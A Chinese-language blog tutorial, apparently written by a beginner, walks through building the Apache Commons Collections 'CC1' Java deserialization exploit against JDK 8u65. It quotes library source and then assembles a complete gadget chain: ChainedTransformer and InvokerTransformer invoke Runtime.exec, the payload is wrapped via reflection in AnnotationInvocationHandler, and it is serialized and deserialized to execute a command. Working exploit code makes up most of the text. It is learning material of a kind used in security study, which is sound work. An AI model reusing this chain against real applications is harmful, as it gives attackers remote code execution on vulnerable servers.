最近一直在搞java安全,搞得可谓是走火入魔。。。当然刚入门,这也是篇入门文章
注意:PHP的反序列化和java的反序列化几乎不是一回事儿,你用PHP的反序列化思想去看java反序列化是不对的。
那么废话不多说,开整。
配环境花了半年…(主要就是先tmd没意识到自己下到的是jdk8u111,眼瞎了属于是,然后怎么弄都弄不好,然后意识到了,去下jdk8u65,然后tmd,给我下的是jdk8u111,然后k4👴帮我下到了8u65,到现在都不知道什么原因,)
这篇文章学习了b站up主白日梦组长和P牛的java安全漫谈以及https://javasec.org
0X01 简介
Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的**Collection(集合) **相关类对象
提前准备
为了方便看懂代码和方便调试,还是要先将src.zip解压,然后原本的src内并没有sun包,所以我们需要去下载openjdk,导入sun包,然后去配置项目结构。
这边我遇到一个问题,我明明下的是8u65,为什么下载下来变成8u111了。。
在k4👴的帮助下,我下到了8u65,然后先解压src.zip.
其实原生的src里面是没有sun包的。
需要外置导入。
下载JDK对应的openJDK,
找到src\share\classes下的sun
复制到jdk下的src下。
然后记得在项目结构里导入src
如果不导入的话,那么查找用法的时候就会找不到对应的类。
当我们导入之后就方便我们的debug和阅读。
关于依赖没有.java文件,我们可以点右上角的下载源代码
然后他报错了。。。。。
最后找到maven的设置setting.xml然后修改了仓库就好了。
正式开始
Transformer
这是一个接口,有一个待实现的方法transform,这个方法用于对传进来的对象进行一个转换,也就是说有点对象转换的内味儿。他有很多的实现类,但是我们需要的实现类有这几个。ConstantTransformer、invokerTransformer、ChainedTransformer。
那有人就要问了,那么多实现类为什么就用那么几个。你去看源码嘛,你去看他的那些实现类嘛。
ConstantTransformer
这个类就是实现Transformer接口的一个类,查看源码
看看他重写的transform方法。
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.collections.functors;
import java.io.Serializable;
import org.apache.commons.collections.Transformer;
/**
* Transformer implementation that returns the same constant each time.
* <p>
* No check is made that the object is immutable. In general, only immutable
* objects should use the constant factory. Mutable objects should
* use the prototype factory.
*
* @since Commons Collections 3.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
*
* @author Stephen Colebourne
*/
public class ConstantTransformer implements Transformer, Serializable {
/** Serial version UID */
private static final long serialVersionUID = 6374440726369055124L;
/** Returns null each time */
public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);
/** The closures to call in turn */
private final Object iConstant;
/**
* Transformer method that performs validation.
*
* @param constantToReturn the constant object to return each time in the factory
* @return the <code>constant</code> factory.
*/
public static Transformer getInstance(Object constantToReturn) {
if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param constantToReturn the constant to return each time
*/
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
/**
* Gets the constant.
*
* @return the constant
* @since Commons Collections 3.1
*/
public Object getConstant() {
return iConstant;
}
}
他的transform就是一个常量转换,他在构造方法中定义的对象是啥,他就返回啥。
当我们传入Runtime.class,那么他转换后依然是Runtime.class,无论我们传入的是啥,他只返回iConstant(也就是说我们从构造方法中传入的obj)。
public static void main(String[] args) {
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
System.out.println(constantTransformer.transform(String.class));
}
}
返回结果 class java.lang.Runtime。
invokerTransformer
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
/**
* Transformer implementation that creates a new object instance by reflection.
*
* @since Commons Collections 3.0
* @version $Revision: 646777 $ $Date: 2008-04-10 13:33:15 +0100 (Thu, 10 Apr 2008) $
*
* @author Stephen Colebourne
*/
public class InvokerTransformer implements Transformer, Serializable {
/** The serial version */
private static final long serialVersionUID = -8653385846894047688L;
/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;
/**
* Gets an instance of this transformer calling a specific method with no arguments.
*
* @param methodName the method name to call
* @return an invoker transformer
* @since Commons Collections 3.1
*/
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}
/**
* Gets an instance of this transformer calling a specific method with specific values.
*
* @param methodName the method name to call
* @param paramTypes the parameter types of the method
* @param args the arguments to pass to the method
* @return an invoker transformer
*/
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}
/**
* Constructor for no arg instance.
*
* @param methodName the method to call
*/
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
正如白日梦组长所说,这个transform方法真的很像一个后门.而且我们可以通过构造方法可以直接尝试RCE.他这里用的也就是反射。
我们用的构造方法是这个
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
然后开写。
public static void main(String[] args) {
InvokerTransformer transformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
transformer.transform(Runtime.getRuntime());
}
刚才啥比了,有把Runtime.getRuntime()写成Runtime.class了,注意Runtime是不能直接获取的。。需要使用getRuntime来获取Runtime对象。new的时候也不能直接new.
ChainedTransformer
顾名思义是一个链式调用。那么我们来看一下他对我们有用的方法。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
可以看到它的构造方法可以传入一个Transformer的数组,赋值给iTransformers.
transform传递一个object,然后for循环,将上一个transformer的transform结果传入object,给下一个transformer的transform方法获取到的object作为参数传递。也就是说前一个的结果作为后一个的参数传入。
那么要用他来进行一个exp的编写。那么就肯定要调用invokerTransformer和ConstantTransformer,那么可以肯定的是我们可以用ConstantTransformer来调用Runtime.class,然后用invokerTransformer来进行调用getRuntime,然后进行方法调用,然后达到RCE的作用。
所以我们先来看一下普通的反射调用Runtime达到弹出计算器的目的。
因为getRuntime是静态方法,所以invoke里面可以null,或者随便填一个.class都可以,所以不必纠结为什么下面的exec需要传入r这个实例化对象,而getRuntime的invoke不需要
Class c=Runtime.class;
Method getruntime=c.getMethod("getRuntime",null);
Runtime r=(Runtime)getruntime.invoke(null,null);
Method execmethod=c.getMethod("exec",String.class);
execmethod.invoke(r,"calc");
我们之前用过InvokerTransformer进行RCE过,那么我们通过InvokerTransformer来实现这个步骤。
我们捋一下,把InvokerTransformer的构造方法和transform单独放在一起。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
那么我们现在来构造InvokerTransformer来进行链式调用,进行弹计算器。
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
String cmd="calc.exe";
Method method=(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}).transform(runtime);
}
如果是InvokerTransformer不通过getMethod再去调用getRuntime的话,那么input.getClass()就会变成Class,然后找不到getRuntime而报错。
说到前提我们刚才用InvokerTransformer完成了一个链式调用,那么我们现在就要将其套入ChainedTransformer
public class TestMain {
public static void main(String[] args) {
String cmd="calc.exe";
// Method method=(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime runtime= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(method);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}).transform(runtime);
Transformer transformer=new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
});
transformer.transform(null);
}
}
那么我们的链式调用就完成辣。
然后接下来要找哪儿调用了transform。以便我们“移花接木”,我们看到了这个类,也就是标题上说的TransformedMap
TransformedMap
我们看一下他的构造方法。
protected,好了,我们肯定没法直接拿到。
TransformedMap.decorate
那么我们就看看有没有哪儿调用了这个构造方法。可以看到有这个方法,这里返回的就是一个TransformedMap对象。
TransformedMap.checkSetValue
我们可以看到checkSetValue中有调用valueTransformer的transform.
现在还不知道checkSetValue是否可控
AbstractInputCheckedMapDecorator.setValue
只有一个很明显的调用。跟进AbstractInputCheckedMapDecorator(抽象类),也就是说我们需要调用setValue才能调用checkSetValue。
这个类是TransformedMap的父类
说回来,我们现在就要想办法看怎么样才能调用到setValue。
翻了一下笔记
可以知道我们可以用这种方法搭配for循环进行遍历。
for(HashMap.Entry entry: hashmap.entrySet()){
}
那么说回setValue,其实我们也可以通过这个for循环对setValue进行调用。
那么我们就可以通过entry.setValue将值传入传递给checkSetValue,然后走进入transform,valueTransformer我们现在通过代码去控制(完成移花接木的效果),现在还不知道能不能调用到一个有setValue的循环。
那我们先来看一下我们目前的exp吧。
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
InvokerTransformer exec=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashmap=new HashMap<>();
hashmap.put("asd","asd");
Map<Object,Object> transformermap= TransformedMap.decorate(hashmap,null,exec);
for(Map.Entry entry: transformermap.entrySet()){
entry.setValue(Runtime.getRuntime());
}
}
我们通过这种方式调用setValue来RCE。
那么我们现在来想,哪儿可能会调用这个setValue,于是前辈们就找到了这个类
AnnotationInvocationHandler
(AnnotationInvocationHandler),这个类是绝佳的反序列化的入口
一些关键的代码
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
他在readObject中for循环调用setValue,且memberValue.setValue的memberValue是从构造方法从传入的。
所以memberValue可控.同时需要注意,这个类是default类型的,所以不能直接new,那么该咋办捏,那当然是反射咯
因为Class<? extends Annotation>,所以构造方法的第一个参数必须是注解类。
然后现在我们的payload就成了这样
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IOException {
InvokerTransformer exec=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashmap=new HashMap<>();
hashmap.put("asd","asd");
Map<Object,Object> transformermap= TransformedMap.decorate(hashmap,null,exec);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= cls.getDeclaredConstructor(Class.class,Map.class);//获取构造方法,一个class,一个map
constructor.setAccessible(true);//修改权限,保证可访问
Object AnnotationInvocationHandlernew=constructor.newInstance(Override.class,transformermap);//第一个参数
serialize(AnnotationInvocationHandlernew);
unserialize("ser.bin");
}
现在肯定是没法RCE的,因为我们还不确定setValue中的value还是否可控。且这边的exec肯定是要链式调用的。
问题
我们现在需要解决有这几个问题
1.我们不知道setValue里面的这个AnnotationTypeMismatchExceptionProxy是否确定可控。
关于这个问题,那就不得不说到ConstantTransformer,这个类的构造方法和transform有一个特性,我们在构造方法中给出.class,transform不管给啥,都给构造方法中的.class,那么我们就不用管这里的setValue,给啥了,反正最后传给ConstantTransformer.transform,就返回构造方法中的Object就美滋滋了。
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
2.还有就是Runtime是不能序列化的
其实这个问题我们之前解决了。我们用反射的方式的方式进行获取getRuntime,通过反射,我们将其然后通过getRuntime,获取到Runtime对象。
在前面其实我有抛出过一个疑问,但是我没写在前面,这边说一下
为什么不能这么写。
Method method=(Method)new InvokerTransformer("getRuntime",new Class[]{null},new Object[]{null}).transform(Runtime.class);
后来,我问了诸多大佬,同时自己debug 步进的时候也发现在transform的时候,他cls=input.getClass.我们传入的Runtime.class到cls,当然是因为上下文中没有Runtime.class实例,就变成了Class。所以会找不到getRuntime。
然后我们发现我们在调用Runtime进行RCE的时候其实是使用了上一个的结果作为Object传入了下一个方法的transform,那么这不就是悟了吗,直接使用ChainedTransformer。
3.在setValue前有两个if,我们需要看能否绕过去。
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy))
我们打个断点跟一下现在的payload
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IOException {
Transformer transformer=new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
HashMap<Object,Object> hashmap=new HashMap<>();
hashmap.put("asd","asd");
Map<Object,Object> transformermap= TransformedMap.decorate(hashmap,null,transformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= cls.getDeclaredConstructor(Class.class,Map.class);//获取构造方法,一个class,一个map
constructor.setAccessible(true);//修改权限,保证可访问
Object AnnotationInvocationHandlernew=constructor.newInstance(Override.class,transformermap);//第一个参数
serialize(AnnotationInvocationHandlernew);
unserialize("ser.bin");
}
我直接一手分析。
第一个框里面是用 getInstance 来获取注解实例,看是否合法,
第二个框内的代码是为了获取他的成员名称:值,(<memberName, value>)当然看我们的代码从传入的是Override都为空。
要从我们的注解中获取为name (上面getKey得到的)成员名称。
然后下面就开始判断,如果为null,那么就直接拜拜了。那么我们这边就可以总结。我们需要将我们payload中put的key和我们传入的注解类中的成员名称一致。才能进入第一个if。所以我们就改我们的payload。
我们将我们的第一个注解类改为Target.class,将hashmap.put key还改为value。
所以俺们就酱紫改。
第二个if就比较好搞了,强转肯定是转不过去的,毕竟value是随便填的。value也不可能是ExceptionProxy的实例。
到最后咱的exp就写完了。CC1最终的payload就为
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class MainTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IOException {
Transformer transformer=new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
HashMap<Object,Object> hashmap=new HashMap<>();
hashmap.put("value","asd");
Map<Object,Object> transformermap= TransformedMap.decorate(hashmap,null,transformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor= cls.getDeclaredConstructor(Class.class,Map.class);//获取构造方法,一个class,一个map
constructor.setAccessible(true);//修改权限,保证可访问
Object AnnotationInvocationHandlernew=constructor.newInstance(Target.class,transformermap);//第一个参数
serialize(AnnotationInvocationHandlernew);
unserialize("ser.bin");
}
}
最终的调用链
ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()